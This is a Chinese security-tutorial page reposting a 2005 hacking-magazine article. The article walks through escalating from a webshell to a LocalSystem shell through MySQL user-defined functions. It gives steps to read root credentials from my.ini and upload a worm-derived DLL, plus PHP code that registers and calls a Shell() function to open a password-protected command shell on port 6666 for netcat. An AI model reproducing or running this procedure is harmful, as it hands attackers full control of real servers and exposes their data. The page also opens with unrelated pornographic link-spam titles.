日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

提權,以MySQL之名_安全教程_腳本之家

 獨孤九劍8 2016-01-27
作者kEvin 
注:稿件已刊登于《黑客防線》2005年第7期上,轉載請著明版權與出處。 

前不久網(wǎng)上公開了一個MySQL Func的漏洞,講的是使用MySQL創(chuàng)建一個自定義的函數(shù),然后通過這個函數(shù)來攻擊服務器。最早看到相關的報道是在o-otik上,但是公布的是針對Unix系統(tǒng)的Exploit,并且成功率也不是很高.而近期,國內(nèi)有高手放出針對Win系統(tǒng)的相關文章,于是我馬上找來與朋友一同研究. 
其實我們早就能想到.當我們在對MSSQL\Oracle數(shù)據(jù)庫進行攻擊的時候,得到了最數(shù)據(jù)庫中高權限的帳戶,往往都是執(zhí)行特殊的擴展過程或者函數(shù)來進行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來創(chuàng)建一個特殊的函數(shù).而我們卻始終沒有想到,作為流行的數(shù)據(jù)庫軟件之一的MySQL,也是可以進行函數(shù)的創(chuàng)建的.由此看來,MySQL的這個漏洞不應稱為漏洞而僅僅是一個技術而已. 
廢話一堆過后,我們來了解一下怎么在MySQL里創(chuàng)建一個函數(shù)吧.這比如何利用重要許多,只要了解了原理,運用就能更加靈活,而且可以與其他思想融會貫通. 
MySQL中創(chuàng)建一個函數(shù)的語句為: 
Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll'; 
其中FunctionName指的是函數(shù)的名稱,C:\Function.DLL指的是函數(shù)所調用的DLL,而函數(shù)名正是DLL中的函數(shù)名稱.不過這里需要我們注意的是,如果我們需要MySQL可以在函數(shù)之中附帶一個參數(shù)的話,那么就要符合UDF形式的程序編寫規(guī)則,具體的可以查看MySQL手冊的第14節(jié):《為MySQL增加新函數(shù)》.而其中STRING,INTEGET,REAL是函數(shù)執(zhí)行后所返回的值的形式.當然,我們大可不必遵循UDF形式的編寫,其實如果我們的函數(shù)中使用一個我們要執(zhí)行的代碼,而不使用參數(shù),一樣可以達到攻擊的效果,比如說System('command.com')等等.網(wǎng)上現(xiàn)在以此漏洞進行攻擊的FurQ蠕蟲就是一個不使用UDF格式的例子.但是注意,這個創(chuàng)建函數(shù)的語句必須要求我們所用的MySQL帳戶有對mysql這個數(shù)據(jù)庫的寫權限,否則無法正常使用. 
好了.了解了原理之后,我們來實戰(zhàn)一下如何使用MySQL提升權限. 
在這里我們已經(jīng)通過各式各樣的漏洞取得了一個服務器的WebShell,我這里演示的是angel的phpspy,因為PHP默認有連接MySQL的函數(shù),而ASP這些需要使用附加的組件來進行連接,本身不具備條件的. 
一般來說,在Win系統(tǒng)下面,很多軟件都會在系統(tǒng)目錄下創(chuàng)建一個叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我們攻克的主機沒有非常好的權限設置的話,我們本身就具有對%windir%目錄的瀏覽權限,所以可以非常容易的讀取其中的信息.而且非常多的管理員通常是將root帳戶與密碼寫進這個My.ini,所以一旦我們讀到root用戶的密碼,就可以操縱整個MySQL數(shù)據(jù)庫或者是服務器了.如圖1. 
得到MySQL的Root密碼之后,我們需要上傳我們的DLL文件,我這里使用的是從FurQ蠕蟲中提取的FurQ.dll.執(zhí)行這個FurQ.DLL中的Shell函數(shù),系統(tǒng)將會在6666端口打開一個帶密碼的CMDShell,當然,密碼我們已經(jīng)知道,就是'FurQ'幾個字符而已.不過我們現(xiàn)在還沒有執(zhí)行的條件.需要通過MySQL將這個函數(shù)創(chuàng)建到MySQL中去. 
現(xiàn)在,我們用PHPSPY新建一個PHP文件. 
輸入以下的內(nèi)容 
$link=mysql_connect('127.0.0.1','root','root'); 
if (!$link) { 
die('Could NOt Connect The Database!: ' . mysql_error()); 
}; 
echo 'Good Boy.Connected!
'; 
//這里的root\root就是從my.ini中讀取的用戶和密碼. 
@mysql_select_db('mysql') or die ('use database mysql failed!'); 
echo 'Yes You Did!
'; 
//這里選擇使用MySQL數(shù)據(jù)庫表.當然你也可以選擇別的,如test. 
$query='Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';'; 
@$result = mysql_query($query, $link) or die ('Create Function Failed!'); 
echo 'Goddess...Successed!
'; 
//這兩句話是關鍵,執(zhí)行MySQL的創(chuàng)建函數(shù)語句.將d:\wwwroot\furq.dll中的Shell函數(shù)創(chuàng)建進MySQL中.使得MySQL可以執(zhí)行這個Shell函數(shù). 
$query='Select Shell();'; 
@$result = mysql_query($query, $link) or die ('Execute failed'); 
echo 'Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
'; 
//這一步是執(zhí)行這個Shell函數(shù),打開服務器的6666端口. 

再次執(zhí)行,全部正常返回.如圖2.那么現(xiàn)在,我們就可以使用nc連接服務器的6666端口,輸入這個密碼:FurQ.然后就返回CMDSHELL了..當然,由于繼承的是MySQL的權限,而Win系統(tǒng)下MySQL默認以服務安裝,也就是說,我們得到的Shell為LocalSystem權限,可以為所欲為了,不過不要做壞事哦.呵呵. 

    本站是提供個人知識管理的網(wǎng)絡存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導購買等信息,謹防詐騙。如發(fā)現(xiàn)有害或侵權內(nèi)容,請點擊一鍵舉報。
    轉藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多